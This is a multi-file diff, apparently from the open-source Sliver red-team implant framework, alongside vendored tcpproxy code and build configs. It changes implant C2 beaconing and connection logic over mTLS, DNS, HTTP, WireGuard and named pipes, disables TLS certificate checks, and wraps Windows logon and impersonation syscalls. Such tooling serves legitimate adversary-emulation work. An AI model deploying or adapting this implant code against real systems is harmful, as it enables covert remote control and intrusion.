+	r1, _, e1 := syscall.Syscall12(procCreateProcessWithLogonW.Addr(), 11, uintptr(unsafe.Pointer(username)), uintptr(unsafe.Pointer(domain)), uintptr(unsafe.Pointer(password)), uintptr(logonFlags), uintptr(unsafe.Pointer(appName)), uintptr(unsafe.Pointer(commandLine)), uintptr(creationFlags), uintptr(unsafe.Pointer(env)), uintptr(unsafe.Pointer(currentDir)), uintptr(unsafe.Pointer(startupInfo)), uintptr(unsafe.Pointer(outProcInfo)), 0)
+	if r1 == 0 {
+		err = errnoErr(e1)
+	}
+	return
+}
+
 func ImpersonateLoggedOnUser(hToken windows.Token) (err error) {
 	r1, _, e1 := syscall.Syscall(procImpersonateLoggedOnUser.Addr(), 1, uintptr(hToken), 0, 0)
 	if r1 == 0 {
@@ -0,0 +1,475 @@
+package tcpproxy
+
+// Copyright 2017 Google Inc.
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Package tcpproxy lets users build TCP proxies, optionally making
+// routing decisions based on HTTP/1 Host headers and the SNI hostname
+// in TLS connections.
+//
+// Typical usage:
+//
+//     var p tcpproxy.Proxy
+//     p.AddHTTPHostRoute(":80", "foo.com", tcpproxy.To("10.0.0.1:8081"))
+//     p.AddHTTPHostRoute(":80", "bar.com", tcpproxy.To("10.0.0.2:8082"))
+//     p.AddRoute(":80", tcpproxy.To("10.0.0.1:8081")) // fallback
+//     p.AddSNIRoute(":443", "foo.com", tcpproxy.To("10.0.0.1:4431"))
+//     p.AddSNIRoute(":443", "bar.com", tcpproxy.To("10.0.0.2:4432"))
+//     p.AddRoute(":443", tcpproxy.To("10.0.0.1:4431")) // fallback
+//     log.Fatal(p.Run())
+//
+// Calling Run (or Start) on a proxy also starts all the necessary
+// listeners.
+//
+// For each accepted connection, the rules for that ipPort are
+// matched, in order. If one matches (currently HTTP Host, SNI, or
+// always), then the connection is handed to the target.
+//
+// The two predefined Target implementations are:
+//
+// 1) DialProxy, proxying to another address (use the To func to return a
+// DialProxy value),
+//
+// 2) TargetListener, making the matched connection available via a
+// net.Listener.Accept call.
+//
+// But Target is an interface, so you can also write your own.
+//
+// Note that tcpproxy does not do any TLS encryption or decryption. It
+// only (via DialProxy) copies bytes around. The SNI hostname in the TLS
+// header is unencrypted, for better or worse.
+//
+// This package makes no API stability promises. If you depend on it,
+// vendor it.
+
+import (
+	"bufio"
+	"context"
+	"errors"
+	"fmt"
+	"io"
+	"log"
+	"net"
+	"time"
+)
+
+// Proxy is a proxy. Its zero value is a valid proxy that does
+// nothing. Call methods to add routes before calling Start or Run.
+//
+// The order that routes are added in matters; each is matched in the order
+// registered.
+type Proxy struct {
+	configs map[string]*config // ip:port => config
+
+	lns   []net.Listener
+	donec chan struct{} // closed before err
+	err   error         // any error from listening
+
+	// ListenFunc optionally specifies an alternate listen
+	// function. If nil, net.Dial is used.
+	// The provided net is always "tcp".
+	ListenFunc func(net, laddr string) (net.Listener, error)
+}
+
+// Matcher reports whether hostname matches the Matcher's criteria.
+type Matcher func(ctx context.Context, hostname string) bool
+
+// equals is a trivial Matcher that implements string equality.
+func equals(want string) Matcher {
+	return func(_ context.Context, got string) bool {
+		return want == got
+	}
+}
+
+// config contains the proxying state for one listener.
+type config struct {
+	routes      []route
+	acmeTargets []Target // accumulates targets that should be probed for acme.
+	stopACME    bool     // if true, AddSNIRoute doesn't add targets to acmeTargets.
+}
+
+// A route matches a connection to a target.
+type route interface {
+	// match examines the initial bytes of a connection, looking for a
+	// match. If a match is found, match returns a non-nil Target to
+	// which the stream should be proxied. match returns nil if the
+	// connection doesn't match.
+	//
+	// match must not consume bytes from the given bufio.Reader, it
+	// can only Peek.
+	//
+	// If an sni or host header was parsed successfully, that will be
+	// returned as the second parameter.
+	match(*bufio.Reader) (Target, string)
+}
+
+func (p *Proxy) netListen() func(net, laddr string) (net.Listener, error) {
+	if p.ListenFunc != nil {
+		return p.ListenFunc
+	}
+	return net.Listen
+}
+
+func (p *Proxy) configFor(ipPort string) *config {
+	if p.configs == nil {
+		p.configs = make(map[string]*config)
+	}
+	if p.configs[ipPort] == nil {
+		p.configs[ipPort] = &config{}
+	}
+	return p.configs[ipPort]
+}
+
+func (p *Proxy) addRoute(ipPort string, r route) {
+	cfg := p.configFor(ipPort)
+	cfg.routes = append(cfg.routes, r)
+}
+
+// AddRoute appends an always-matching route to the ipPort listener,
+// directing any connection to dest.
+//
+// This is generally used as either the only rule (for simple TCP
+// proxies), or as the final fallback rule for an ipPort.
+//
+// The ipPort is any valid net.Listen TCP address.
+func (p *Proxy) AddRoute(ipPort string, dest Target) {
+	p.addRoute(ipPort, fixedTarget{dest})
+}
+
+type fixedTarget struct {
+	t Target
+}
+
+func (m fixedTarget) match(*bufio.Reader) (Target, string) { return m.t, "" }
+
+// Run is calls Start, and then Wait.
+//
+// It blocks until there's an error. The return value is always
+// non-nil.
+func (p *Proxy) Run() error {
+	if err := p.Start(); err != nil {
+		return err
+	}
+	return p.Wait()
+}
+
+// Wait waits for the Proxy to finish running. Currently this can only
+// happen if a Listener is closed, or Close is called on the proxy.
+//
+// It is only valid to call Wait after a successful call to Start.
+func (p *Proxy) Wait() error {
+	<-p.donec
+	return p.err
+}
+
+// Close closes all the proxy's self-opened listeners.
+func (p *Proxy) Close() error {
+	for _, c := range p.lns {
+		c.Close()
+	}
+	return nil
+}
+
+// Start creates a TCP listener for each unique ipPort from the
+// previously created routes and starts the proxy. It returns any
+// error from starting listeners.
+//
+// If it returns a non-nil error, any successfully opened listeners
+// are closed.
+func (p *Proxy) Start() error {
+	if p.donec != nil {
+		return errors.New("already started")
+	}
+	p.donec = make(chan struct{})
+	errc := make(chan error, len(p.configs))
+	p.lns = make([]net.Listener, 0, len(p.configs))
+	for ipPort, config := range p.configs {
+		ln, err := p.netListen()("tcp", ipPort)
+		if err != nil {
+			p.Close()
+			return err
+		}
+		p.lns = append(p.lns, ln)
+		go p.serveListener(errc, ln, config.routes)
+	}
+	go p.awaitFirstError(errc)
+	return nil
+}
+
+func (p *Proxy) awaitFirstError(errc <-chan error) {
+	p.err = <-errc
+	close(p.donec)
+}
+
+func (p *Proxy) serveListener(ret chan<- error, ln net.Listener, routes []route) {
+	for {
+		c, err := ln.Accept()
+		if err != nil {
+			ret <- err
+			return
+		}
+		go p.serveConn(c, routes)
+	}
+}
+
+// serveConn runs in its own goroutine and matches c against routes.
+// It returns whether it matched purely for testing.
+func (p *Proxy) serveConn(c net.Conn, routes []route) bool {
+	br := bufio.NewReader(c)
+	for _, route := range routes {
+		if target, hostName := route.match(br); target != nil {
+			if n := br.Buffered(); n > 0 {
+				peeked, _ := br.Peek(br.Buffered())
+				c = &Conn{
+					HostName: hostName,
+					Peeked:   peeked,
+					Conn:     c,
+				}
+			}
+			target.HandleConn(c)
+			return true
+		}
+	}
+	// TODO: hook for this?
+	log.Printf("tcpproxy: no routes matched conn %v/%v; closing", c.RemoteAddr().String(), c.LocalAddr().String())
+	c.Close()
+	return false
+}
+
+// Conn is an incoming connection that has had some bytes read from it
+// to determine how to route the connection. The Read method stitches
+// the peeked bytes and unread bytes back together.
+type Conn struct {
+	// HostName is the hostname field that was sent to the request router.
+	// In the case of TLS, this is the SNI header, in the case of HTTPHost
+	// route, it will be the host header.  In the case of a fixed
+	// route, i.e. those created with AddRoute(), this will always be
+	// empty. This can be useful in the case where further routing decisions
+	// need to be made in the Target impementation.
+	HostName string
+
+	// Peeked are the bytes that have been read from Conn for the
+	// purposes of route matching, but have not yet been consumed
+	// by Read calls. It set to nil by Read when fully consumed.
+	Peeked []byte
+
+	// Conn is the underlying connection.
+	// It can be type asserted against *net.TCPConn or other types
+	// as needed. It should not be read from directly unless
+	// Peeked is nil.
+	net.Conn
+}
+
+func (c *Conn) Read(p []byte) (n int, err error) {
+	if len(c.Peeked) > 0 {
+		n = copy(p, c.Peeked)
+		c.Peeked = c.Peeked[n:]
+		if len(c.Peeked) == 0 {
+			c.Peeked = nil
+		}
+		return n, nil
+	}
+	return c.Conn.Read(p)
+}
+
+// Target is what an incoming matched connection is sent to.
+type Target interface {
+	// HandleConn is called when an incoming connection is
+	// matched. After the call to HandleConn, the tcpproxy
+	// package never touches the conn again. Implementations are
+	// responsible for closing the connection when needed.
+	//
+	// The concrete type of conn will be of type *Conn if any
+	// bytes have been consumed for the purposes of route
+	// matching.
+	HandleConn(net.Conn)
+}
+
+// To is shorthand way of writing &tlsproxy.DialProxy{Addr: addr}.
+func To(addr string) *DialProxy {
+	return &DialProxy{Addr: addr}
+}
+
+// DialProxy implements Target by dialing a new connection to Addr
+// and then proxying data back and forth.
+//
+// The To func is a shorthand way of creating a DialProxy.
+type DialProxy struct {
+	// Addr is the TCP address to proxy to.
+	Addr string
+
+	// KeepAlivePeriod sets the period between TCP keep alives.
+	// If zero, a default is used. To disable, use a negative number.
+	// The keep-alive is used for both the client connection and
+	KeepAlivePeriod time.Duration
+
+	// DialTimeout optionally specifies a dial timeout.
+	// If zero, a default is used.
+	// If negative, the timeout is disabled.
+	DialTimeout time.Duration
+
+	// DialContext optionally specifies an alternate dial function
+	// for TCP targets. If nil, the standard
+	// net.Dialer.DialContext method is used.
+	DialContext func(ctx context.Context, network, address string) (net.Conn, error)
+
+	// OnDialError optionally specifies an alternate way to handle errors dialing Addr.
+	// If nil, the error is logged and src is closed.
+	// If non-nil, src is not closed automatically.
+	OnDialError func(src net.Conn, dstDialErr error)
+
+	// ProxyProtocolVersion optionally specifies the version of
+	// HAProxy's PROXY protocol to use. The PROXY protocol provides
+	// connection metadata to the DialProxy target, via a header
+	// inserted ahead of the client's traffic. The DialProxy target
+	// must explicitly support and expect the PROXY header; there is
+	// no graceful downgrade.
+	// If zero, no PROXY header is sent. Currently, version 1 is supported.
+	ProxyProtocolVersion int
+}
+
+// UnderlyingConn returns c.Conn if c of type *Conn,
+// otherwise it returns c.
+func UnderlyingConn(c net.Conn) net.Conn {
+	if wrap, ok := c.(*Conn); ok {
+		return wrap.Conn
+	}
+	return c
+}
+
+func goCloseConn(c net.Conn) { go c.Close() }
+
+// HandleConn implements the Target interface.
+func (dp *DialProxy) HandleConn(src net.Conn) {
+	ctx := context.Background()
+	var cancel context.CancelFunc
+	if dp.DialTimeout >= 0 {
+		ctx, cancel = context.WithTimeout(ctx, dp.dialTimeout())
+	}
+	dst, err := dp.dialContext()(ctx, "tcp", dp.Addr)
+	if cancel != nil {
+		cancel()
+	}
+	if err != nil {
+		dp.onDialError()(src, err)
+		return
+	}
+	defer goCloseConn(dst)
+
+	if err = dp.sendProxyHeader(dst, src); err != nil {
+		dp.onDialError()(src, err)
+		return
+	}
+	defer goCloseConn(src)
+
+	if ka := dp.keepAlivePeriod(); ka > 0 {
+		if c, ok := UnderlyingConn(src).(*net.TCPConn); ok {
+			c.SetKeepAlive(true)
+			c.SetKeepAlivePeriod(ka)
+		}
+		if c, ok := dst.(*net.TCPConn); ok {
+			c.SetKeepAlive(true)
+			c.SetKeepAlivePeriod(ka)
+		}
+	}
+
+	errc := make(chan error, 1)
+	go proxyCopy(errc, src, dst)
+	go proxyCopy(errc, dst, src)
+	<-errc
+}
+
+func (dp *DialProxy) sendProxyHeader(w io.Writer, src net.Conn) error {
+	switch dp.ProxyProtocolVersion {
+	case 0:
+		return nil
+	case 1:
+		var srcAddr, dstAddr *net.TCPAddr
+		if a, ok := src.RemoteAddr().(*net.TCPAddr); ok {
+			srcAddr = a
+		}
+		if a, ok := src.LocalAddr().(*net.TCPAddr); ok {
+			dstAddr = a
+		}
+
+		if srcAddr == nil || dstAddr == nil {
+			_, err := io.WriteString(w, "PROXY UNKNOWN\r\n")
+			return err
+		}
+
+		family := "TCP4"
+		if srcAddr.IP.To4() == nil {
+			family = "TCP6"
+		}
+		_, err := fmt.Fprintf(w, "PROXY %s %s %d %s %d\r\n", family, srcAddr.IP, srcAddr.Port, dstAddr.IP, dstAddr.Port)
+		return err
+	default:
+		return fmt.Errorf("PROXY protocol version %d not supported", dp.ProxyProtocolVersion)
+	}
+}
+
+// proxyCopy is the function that copies bytes around.
+// It's a named function instead of a func literal so users get
+// named goroutines in debug goroutine stack dumps.
+func proxyCopy(errc chan<- error, dst, src net.Conn) {
+	// Before we unwrap src and/or dst, copy any buffered data.
+	if wc, ok := src.(*Conn); ok && len(wc.Peeked) > 0 {
+		if _, err := dst.Write(wc.Peeked); err != nil {
+			errc <- err
+			return
+		}
+		wc.Peeked = nil
+	}
+
+	// Unwrap the src and dst from *Conn to *net.TCPConn so Go
+	// 1.11's splice optimization kicks in.
+	src = UnderlyingConn(src)
+	dst = UnderlyingConn(dst)
+
+	_, err := io.Copy(dst, src)
+	errc <- err
+}
+
+func (dp *DialProxy) keepAlivePeriod() time.Duration {
+	if dp.KeepAlivePeriod != 0 {
+		return dp.KeepAlivePeriod
+	}
+	return time.Minute
+}
+
+func (dp *DialProxy) dialTimeout() time.Duration {
+	if dp.DialTimeout > 0 {
+		return dp.DialTimeout
+	}
+	return 10 * time.Second
+}
+
+var defaultDialer = new(net.Dialer)
+
+func (dp *DialProxy) dialContext() func(ctx context.Context, network, address string) (net.Conn, error) {
+	if dp.DialContext != nil {
+		return dp.DialContext
+	}
+	return defaultDialer.DialContext
+}
+
+func (dp *DialProxy) onDialError() func(src net.Conn, dstDialErr error) {
+	if dp.OnDialError != nil {
+		return dp.OnDialError
+	}
+	return func(src net.Conn, dstDialErr error) {
+		log.Printf("tcpproxy: for incoming conn %v, error dialing %q: %v", src.RemoteAddr().String(), dp.Addr, dstDialErr)
+		src.Close()
+	}
+}
@@ -113,7 +113,7 @@ func (b *Beacon) Duration() time.Duration {
 }

 // StartBeaconLoop - Starts the beacon loop generator
-func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
+func StartBeaconLoop(abort <-chan struct{}) <-chan *Beacon {
 	// {{if .Config.Debug}}
 	log.Printf("Starting beacon loop ...")
 	// {{end}}
@@ -122,7 +122,7 @@ func StartBeaconLoop(c2s []string, abort <-chan struct{}) <-chan *Beacon {
 	nextBeacon := make(chan *Beacon)

 	innerAbort := make(chan struct{})
-	c2Generator := C2Generator(c2s, innerAbort)
+	c2Generator := C2Generator(innerAbort)

 	go func() {
 		defer close(nextBeacon)
@@ -211,11 +211,13 @@ func mtlsBeacon(uri *url.URL) *Beacon {
 			return mtls.WriteEnvelope(conn, envelope)
 		},
 		Close: func() error {
-			err = conn.Close()
-			if err != nil {
-				return err
+			if conn != nil {
+				err = conn.Close()
+				if err != nil {
+					return err
+				}
+				conn = nil
 			}
-			conn = nil
 			return nil
 		},
 		Cleanup: func() error {
@@ -341,7 +343,7 @@ func dnsBeacon(uri *url.URL) *Beacon {
 		ActiveC2: uri.String(),
 		Init: func() error {
 			opts := dnsclient.ParseDNSOptions(uri)
-			client, err = dnsclient.DNSStartSession(uri.Host, opts)
+			client, err = dnsclient.DNSStartSession(uri.Hostname(), opts)
 			if err != nil {
 				// {{if .Config.Debug}}
 				log.Printf("[beacon] dns connection error %s", err)
@@ -1,5 +1,23 @@
 package transports

+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"net/url"
 	"sync"
@@ -14,7 +32,7 @@ type Connection struct {
 	ctrl    chan struct{}
 	cleanup func()
 	once    *sync.Once
-	tunnels *map[uint64]*Tunnel
+	tunnels map[uint64]*Tunnel
 	mutex   *sync.RWMutex

 	uri      *url.URL
@@ -53,7 +71,7 @@ func (c *Connection) Cleanup() {
 func (c *Connection) Tunnel(ID uint64) *Tunnel {
 	c.mutex.RLock()
 	defer c.mutex.RUnlock()
-	return (*c.tunnels)[ID]
+	return c.tunnels[ID]
 }

 // AddTunnel - Add tunnel to mapping
@@ -61,7 +79,7 @@ func (c *Connection) AddTunnel(tun *Tunnel) {
 	c.mutex.Lock()
 	defer c.mutex.Unlock()

-	(*c.tunnels)[tun.ID] = tun
+	c.tunnels[tun.ID] = tun
 }

 // RemoveTunnel - Add tunnel to mapping
@@ -69,17 +87,17 @@ func (c *Connection) RemoveTunnel(ID uint64) {
 	c.mutex.Lock()
 	defer c.mutex.Unlock()

-	delete(*c.tunnels, ID)
+	delete(c.tunnels, ID)
 }

 func (c *Connection) removeAndCloseAllTunnels() {
 	c.mutex.Lock()
 	defer c.mutex.Unlock()

-	for id, tunnel := range *c.tunnels {
+	for id, tunnel := range c.tunnels {
 		tunnel.Close()

-		delete(*c.tunnels, id)
+		delete(c.tunnels, id)
 	}
 }

@@ -28,6 +28,7 @@ import (

 	// {{if .Config.Debug}}
 	"log"
+	"github.com/bishopfox/sliver/implant/sliver/cryptography"
 	// {{end}}

 	"github.com/bishopfox/sliver/implant/sliver/proxy"
@@ -36,12 +37,20 @@ import (
 // GoHTTPDriver - Pure Go HTTP driver
 func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, error) {
 	var transport *http.Transport
+	tlsConfig := &tls.Config{
+		InsecureSkipVerify: true, // We don't care about the HTTP(S) layer certs
+	}
+	// {{if .Config.Debug}}
+	if cryptography.TLSKeyLogger != nil {
+		tlsConfig.KeyLogWriter = cryptography.TLSKeyLogger
+	}
+	// {{end}}
 	if !secure {
 		transport = &http.Transport{
 			IdleConnTimeout:     time.Millisecond,
 			Dial:                proxy.Direct.Dial,
 			TLSHandshakeTimeout: opts.TlsTimeout,
-			TLSClientConfig:     &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
+			TLSClientConfig:     tlsConfig,
 		}
 	} else {
 		transport = &http.Transport{
@@ -50,7 +59,7 @@ func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, er
 				Timeout: opts.NetTimeout,
 			}).Dial,
 			TLSHandshakeTimeout: opts.TlsTimeout,
-			TLSClientConfig:     &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
+			TLSClientConfig:     tlsConfig,
 		}
 	}
 	client := &http.Client{
@@ -58,6 +58,7 @@ const (
 var (
 	ErrClosed               = errors.New("http session closed")
 	ErrStatusCodeUnexpected = errors.New("unexpected http response code")
+	TimeDelta time.Duration = 0
 )

 // HTTPOptions - c2 specific configuration options
@@ -334,7 +335,8 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {

 	uri := s.startSessionURL()
 	s.NonceQueryArgument(uri, nonce)
-	otpCode := cryptography.GetOTPCode()
+	timestamp := time.Now().UTC().Add(TimeDelta)
+	otpCode := cryptography.GetExactOTPCode(timestamp)
 	s.OTPQueryArgument(uri, otpCode)
 	req := s.newHTTPRequest(http.MethodPost, uri, reqBody)
 	// {{if .Config.Debug}}
@@ -349,6 +351,15 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {
 		return err
 	}
 	if resp.StatusCode != http.StatusOK {
+		serverDateHeader := resp.Header.Get("Date")
+		if serverDateHeader != "" {
+				// If the request failed and there is a Date header, find the time difference and save it for the next request
+				curTime := time.Now().UTC()
+				serverTime, err := time.Parse(time.RFC1123, serverDateHeader)
+				if err == nil {
+					TimeDelta = serverTime.UTC().Sub(curTime)
+				}
+		}
 		// {{if .Config.Debug}}
 		log.Printf("[http] non-200 response (%d): %v", resp.StatusCode, resp)
 		// {{end}}
@@ -167,6 +167,11 @@ func getTLSConfig() *tls.Config {
 			return cryptography.RootOnlyVerifyCertificate(caCertPEM, rawCerts, verifiedChains)
 		},
 	}
+	// {{if .Config.Debug}}
+	if cryptography.TLSKeyLogger != nil {
+		tlsConfig.KeyLogWriter = cryptography.TLSKeyLogger
+	}
+	// {{end}}

 	return tlsConfig
 }
@@ -80,7 +80,7 @@ type Start func() error
 type Stop func() error

 // StartConnectionLoop - Starts the main connection loop
-func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection {
+func StartConnectionLoop(abort <-chan struct{}) <-chan *Connection {

 	// {{if .Config.Debug}}
 	log.Printf("Starting interactive session connection loop ...")
@@ -88,7 +88,7 @@ func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection

 	nextConnection := make(chan *Connection)
 	innerAbort := make(chan struct{})
-	c2Generator := C2Generator(c2s, innerAbort)
+	c2Generator := C2Generator(innerAbort)

 	go func() {
 		var connection *Connection
@@ -204,7 +204,7 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
 		Send:    send,
 		Recv:    recv,
 		ctrl:    ctrl,
-		tunnels: &map[uint64]*Tunnel{},
+		tunnels: map[uint64]*Tunnel{},
 		mutex:   &sync.RWMutex{},
 		once:    &sync.Once{},
 		IsOpen:  false,
@@ -306,7 +306,7 @@ func wgConnect(uri *url.URL) (*Connection, error) {
 		Send:    send,
 		Recv:    recv,
 		ctrl:    ctrl,
-		tunnels: &map[uint64]*Tunnel{},
+		tunnels: map[uint64]*Tunnel{},
 		mutex:   &sync.RWMutex{},
 		once:    &sync.Once{},
 		uri:     uri,
@@ -414,7 +414,7 @@ func httpConnect(uri *url.URL) (*Connection, error) {
 		Send:    send,
 		Recv:    recv,
 		ctrl:    ctrl,
-		tunnels: &map[uint64]*Tunnel{},
+		tunnels: map[uint64]*Tunnel{},
 		mutex:   &sync.RWMutex{},
 		once:    &sync.Once{},
 		uri:     uri,
@@ -535,7 +535,7 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
 		Send:    send,
 		Recv:    recv,
 		ctrl:    ctrl,
-		tunnels: &map[uint64]*Tunnel{},
+		tunnels: map[uint64]*Tunnel{},
 		mutex:   &sync.RWMutex{},
 		once:    &sync.Once{},
 		IsOpen:  true,
@@ -644,7 +644,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
 		Send:    send,
 		Recv:    recv,
 		ctrl:    ctrl,
-		tunnels: &map[uint64]*Tunnel{},
+		tunnels: map[uint64]*Tunnel{},
 		mutex:   &sync.RWMutex{},
 		once:    &sync.Once{},
 		IsOpen:  true,
@@ -36,10 +36,18 @@ const (
 )

 // C2Generator - Creates a stream of C2 URLs based on a connection strategy
-func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
+func C2Generator(abort <-chan struct{}) <-chan *url.URL {
 	// {{if .Config.Debug}}
 	log.Printf("Starting c2 url generator ({{.Config.ConnectionStrategy}}) ...")
 	// {{end}}
+
+	c2Servers := []func() string{}
+	// {{range $index, $value := .Config.C2}}
+	c2Servers = append(c2Servers, func() string {
+		return "{{$value}}" // {{$index}}
+	})
+	// {{end}} - range
+
 	generator := make(chan *url.URL)
 	go func() {
 		defer close(generator)
@@ -48,16 +56,16 @@ func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
 			var next string
 			switch "{{.Config.ConnectionStrategy}}" {
 			case strategyRandom: // Random
-				next = c2Servers[insecureRand.Intn(len(c2Servers))]
+				next = c2Servers[insecureRand.Intn(len(c2Servers))]()
 			case strategyRandomDomain: // Random Domain
 				// Select the next sequential C2 then use it's protocol to make a random
 				// selection from all C2s that share it's protocol.
-				next = c2Servers[insecureRand.Intn(len(c2Servers))]
+				next = c2Servers[insecureRand.Intn(len(c2Servers))]()
 				next = randomCCDomain(c2Servers, next)
 			case strategySequential: // Sequential
-				next = c2Servers[c2Counter%uint(len(c2Servers))]
+				next = c2Servers[c2Counter%uint(len(c2Servers))]()
 			default:
-				next = c2Servers[c2Counter%uint(len(c2Servers))]
+				next = c2Servers[c2Counter%uint(len(c2Servers))]()
 			}
 			c2Counter++
 			if ^uint(0) < c2Counter {
@@ -90,15 +98,15 @@ func C2Generator(c2Servers []string, abort <-chan struct{}) <-chan *url.URL {
 }

 // randomCCDomain - Random selection within a protocol
-func randomCCDomain(ccServers []string, next string) string {
+func randomCCDomain(ccServers []func() string, next string) string {
 	uri, err := url.Parse(next)
 	if err != nil {
 		return next
 	}
-	pool := []string{}
+	pool := []func() string{}
 	protocol := uri.Scheme
 	for _, cc := range ccServers {
-		uri, err := url.Parse(cc)
+		uri, err := url.Parse(cc())
 		if err != nil {
 			continue
 		}
@@ -106,7 +114,7 @@ func randomCCDomain(ccServers []string, next string) string {
 			pool = append(pool, cc)
 		}
 	}
-	return pool[insecureRand.Intn(len(pool))]
+	return pool[insecureRand.Intn(len(pool))]()
 }

 var (
@@ -46,7 +46,7 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
 		Send:    send,
 		Recv:    recv,
 		ctrl:    ctrl,
-		tunnels: &map[uint64]*Tunnel{},
+		tunnels: map[uint64]*Tunnel{},
 		mutex:   &sync.RWMutex{},
 		once:    &sync.Once{},
 		IsOpen:  true,
@@ -59,7 +59,11 @@ var (
 	wgKeyExchangePort = getWgKeyExchangePort()
 	wgTcpCommsPort    = getWgTcpCommsPort()

+	wgSessPrivKey string
+	wgSessPubKey  string
+
 	PingInterval = 2 * time.Minute
+	failedConn   = 0
 )

 // GetTNet - Get the netstack Net object
@@ -151,12 +155,11 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
 	return envelope, nil
 }

-// WGConnect - Get a wg connection or die trying
-func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
-
+// getSessKeys - Connect to the wireguard server and retrieve session specific keys and IP
+func getSessKeys(address string, port uint16) error {
 	_, dev, tNet, err := bringUpWGInterface(address, port, wgImplantPrivKey, wgServerPubKey, wgPeerTunIP)
 	if err != nil {
-		return nil, nil, err
+		return err
 	}

 	dev.Up()
@@ -170,10 +173,10 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
 		// {{if .Config.Debug}}
 		log.Printf("Unable to connect to wg key exchange listener: %v", err)
 		// {{end}}
-		return nil, nil, err
+		return err
 	}

-	privKey, pubKey, newIP := doKeyExchange(keyExchangeConnection)
+	wgSessPrivKey, wgSessPubKey, tunAddress = doKeyExchange(keyExchangeConnection)

 	// {{if .Config.Debug}}
 	log.Printf("Signaling wg device to go down")
@@ -186,12 +189,21 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
 		// {{if .Config.Debug}}
 		log.Printf("Failed to close device.Device: %s", err)
 		// {{end}}
-		return nil, nil, err
+		return err
+	}
+	return nil
+}
+
+// WGConnect - Get a wg connection or die trying
+func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
+	if wgSessPrivKey == "" || failedConn > 2 {
+		getSessKeys(address, port)
 	}

-	// Bring up second wireguard connection using retrieved keys and IP
-	_, dev, tNet, err = bringUpWGInterface(address, port, privKey, pubKey, newIP)
+	// Bring up actual wireguard connection using retrieved keys and IP
+	_, dev, tNet, err := bringUpWGInterface(address, port, wgSessPrivKey, wgSessPubKey, tunAddress)
 	if err != nil {
+		failedConn++
 		return nil, nil, err
 	}

@@ -200,14 +212,15 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
 		// {{if .Config.Debug}}
 		log.Printf("Unable to connect to sliver listener: %v", err)
 		// {{end}}
+		failedConn++
 		return nil, nil, err
 	}

 	// {{if .Config.Debug}}
 	log.Printf("Successfully connected to sliver listener")
 	// {{end}}
+	failedConn = 0
 	tunnelNet = tNet
-	tunAddress = newIP
 	return connection, dev, nil
 }

@@ -0,0 +1,12 @@
+root = true
+
+[*.go]
+indent_style = tab
+indent_size = 4
+insert_final_newline = true
+
+[*.{yml,yaml}]
+indent_style = space
+indent_size = 2
+insert_final_newline = true
+trim_trailing_whitespace = true
@@ -0,0 +1 @@
+go.sum linguist-generated
@@ -0,0 +1,6 @@
+# Setup a Global .gitignore for OS and editor generated files:
+# https://help.github.com/articles/ignoring-files
+# git config --global core.excludesfile ~/.gitignore_global
+
+.vagrant
+*.sublime-project
@@ -0,0 +1,36 @@
+sudo: false
+language: go
+
+go:
+  - "stable"
+  - "1.11.x"
+  - "1.10.x"
+  - "1.9.x"
+
+matrix:
+  include:
+    - go: "stable"
+      env: GOLINT=true
+  allow_failures:
+    - go: tip
+  fast_finish: true
+
+
+before_install:
+  - if [ ! -z "${GOLINT}" ]; then go get -u golang.org/x/lint/golint; fi
+
+script:
+  - go test --race ./...
+
+after_script:
+  - test -z "$(gofmt -s -l -w . | tee /dev/stderr)"
+  - if [ ! -z  "${GOLINT}" ]; then echo running golint; golint --set_exit_status  ./...; else echo skipping golint; fi
+  - go vet ./...
+
+os:
+  - linux
+  - osx
+  - windows
+
+notifications:
+  email: false
@@ -0,0 +1,52 @@
+# Names should be added to this file as
+#	Name or Organization <email address>
+# The email address is not required for organizations.
+
+# You can update this list using the following command:
+#
+#   $ git shortlog -se | awk '{print $2 " " $3 " " $4}'
+
+# Please keep the list sorted.
+
+Aaron L <[email protected]>
+Adrien Bustany <[email protected]>
+Amit Krishnan <[email protected]>
+Anmol Sethi <[email protected]>
+Bjørn Erik Pedersen <[email protected]>
+Bruno Bigras <[email protected]>
+Caleb Spare <[email protected]>
+Case Nelson <[email protected]>
+Chris Howey <[email protected]> <[email protected]>
+Christoffer Buchholz <[email protected]>
+Daniel Wagner-Hall <[email protected]>
+Dave Cheney <[email protected]>
+Evan Phoenix <[email protected]>
+Francisco Souza <[email protected]>
